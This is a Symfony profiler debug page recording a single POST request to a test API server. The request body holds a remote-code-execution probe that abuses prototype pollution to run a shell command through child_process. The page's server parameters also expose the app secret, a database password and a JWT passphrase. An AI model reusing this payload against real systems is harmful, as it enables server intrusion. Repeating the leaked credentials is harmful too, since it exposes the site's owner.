POST https://api.tarkosale.test.itlabs.top/

Response
302 Found
Browse referrer URL
IP
85.11.167.4
Profiled on
Token
d70a94

HomeController :: index

Request

GET Parameters

No GET parameters

POST Parameters

Key Value
0 
"{"_response":{"_formData":{"get":"$1:constructor:constructor"},"_prefix":"var res=process.mainModule.require('child_process').execSync('echo VULN_1768026209_5475',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});"},"reason":-1,"status":"resolved_model","then":"$1:__proto__:then","value":"{\"then\": \"$B0\"}"}"
1 
""$@0""

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller 
"App\Controller\HomeController::index"
_route 
"app_home"
_route_params 
[]
_stopwatch_token 
"9abf22"

Request Headers

Header Value
accept 
"text/x-component"
accept-encoding 
"gzip"
accept-language 
"en-US,en;q=0.9"
connection 
"close"
content-length 
"648"
content-type 
"multipart/form-data; boundary=67c55e6fddb37b0588b22548f591b57702d740a88bf7e0eea49fadd371d1"
host 
"api.tarkosale.test.itlabs.top"
next-action 
"x"
origin 
"https://api.tarkosale.test.itlabs.top"
referer 
"https://api.tarkosale.test.itlabs.top"
user-agent 
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
x-forwarded-for 
"85.11.167.4"
x-php-ob-level 
"1"

Request Content

Request content not available (it was retrieved as a resource).

Response

Response Headers

Header Value
cache-control 
"private, must-revalidate"
content-type 
"text/html; charset=utf-8"
date 
"Sat, 10 Jan 2026 06:23:29 GMT"
expires 
"-1"
location 
"/admin"
pragma 
"no-cache"
x-debug-token 
"d70a94"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

0 Usages
Stateless check enabled

Session not used.

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
APP_ENV 
"dev"
APP_SECRET 
"7f65339c93bac9d84fe01eb0bcdbadbf"
CORS_ALLOW_ORIGIN 
"^https?://(localhost|127\.0\.0\.1|amurgmadesk\.netlify\.app)(:[0-9]+)?$"
DATABASE_URL 
"mysql://shared-backend_tarkosale_new:Qwertyy1AA@127.0.0.1:3306/shared-backend_tarkosale_new?serverVersion=10.11.2-MariaDB&charset=utf8mb4"
JWT_PASSPHRASE 
"307f19735b390b51410497f91726fe3e249cd37807416c2dda91263dc769ce9d"
JWT_PUBLIC_KEY 
"%kernel.project_dir%/config/jwt/public.pem"
JWT_SECRET_KEY 
"%kernel.project_dir%/config/jwt/private.pem"
MESSENGER_TRANSPORT_DSN 
"doctrine://default?auto_setup=0"

Defined as regular env variables

Key Value
APP_DEBUG 
"1"
BASE 
"/public"
CONTENT_LENGTH 
"648"
CONTENT_TYPE 
"multipart/form-data; boundary=67c55e6fddb37b0588b22548f591b57702d740a88bf7e0eea49fadd371d1"
CONTEXT_DOCUMENT_ROOT 
"/home/shared-backend/web/api.tarkosale.test.itlabs.top/public_html"
CONTEXT_PREFIX 
""
DOCUMENT_ROOT 
"/home/shared-backend/web/api.tarkosale.test.itlabs.top/public_html"
FCGI_ROLE 
"RESPONDER"
GATEWAY_INTERFACE 
"CGI/1.1"
HOME 
"/home/shared-backend"
HOSTNAME 
""
HTTPS 
"on"
HTTP_ACCEPT 
"text/x-component"
HTTP_ACCEPT_ENCODING 
"gzip"
HTTP_ACCEPT_LANGUAGE 
"en-US,en;q=0.9"
HTTP_CONNECTION 
"close"
HTTP_HOST 
"api.tarkosale.test.itlabs.top"
HTTP_NEXT_ACTION 
"x"
HTTP_ORIGIN 
"https://api.tarkosale.test.itlabs.top"
HTTP_REFERER 
"https://api.tarkosale.test.itlabs.top"
HTTP_USER_AGENT 
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
HTTP_X_FORWARDED_FOR 
"85.11.167.4"
PATH 
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
PHP_SELF 
"/public/index.php"
QUERY_STRING 
""
REDIRECT_HTTPS 
"on"
REDIRECT_SSL_TLS_SNI 
"api.tarkosale.test.itlabs.top"
REDIRECT_STATUS 
"200"
REDIRECT_URL 
"/"
REMOTE_ADDR 
"85.11.167.4"
REMOTE_PORT 
"58458"
REQUEST_METHOD 
"POST"
REQUEST_SCHEME 
"https"
REQUEST_TIME 
1768026209
REQUEST_TIME_FLOAT 
1768026209.4685
REQUEST_URI 
"/"
SCRIPT_FILENAME 
"/home/shared-backend/web/api.tarkosale.test.itlabs.top/public_html/public/index.php"
SCRIPT_NAME 
"/public/index.php"
SERVER_ADDR 
"192.168.0.30"
SERVER_ADMIN 
"info@api.tarkosale.test.itlabs.top"
SERVER_NAME 
"api.tarkosale.test.itlabs.top"
SERVER_PORT 
"443"
SERVER_PROTOCOL 
"HTTP/1.0"
SERVER_SIGNATURE 
""
SERVER_SOFTWARE 
"Apache/2.4.63 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2"
SSL_TLS_SNI 
"api.tarkosale.test.itlabs.top"
SYMFONY_DOTENV_PATH 
"/home/shared-backend/web/api.tarkosale.test.itlabs.top/public_html/.env"
SYMFONY_DOTENV_VARS 
"APP_ENV,APP_SECRET,DATABASE_URL,MESSENGER_TRANSPORT_DSN,CORS_ALLOW_ORIGIN,JWT_SECRET_KEY,JWT_PUBLIC_KEY,JWT_PASSPHRASE"
TEMP 
"/home/shared-backend/tmp"
TMP 
"/home/shared-backend/tmp"
TMPDIR 
"/home/shared-backend/tmp"
USER 
"shared-backend"
proxy-nokeepalive 
"1"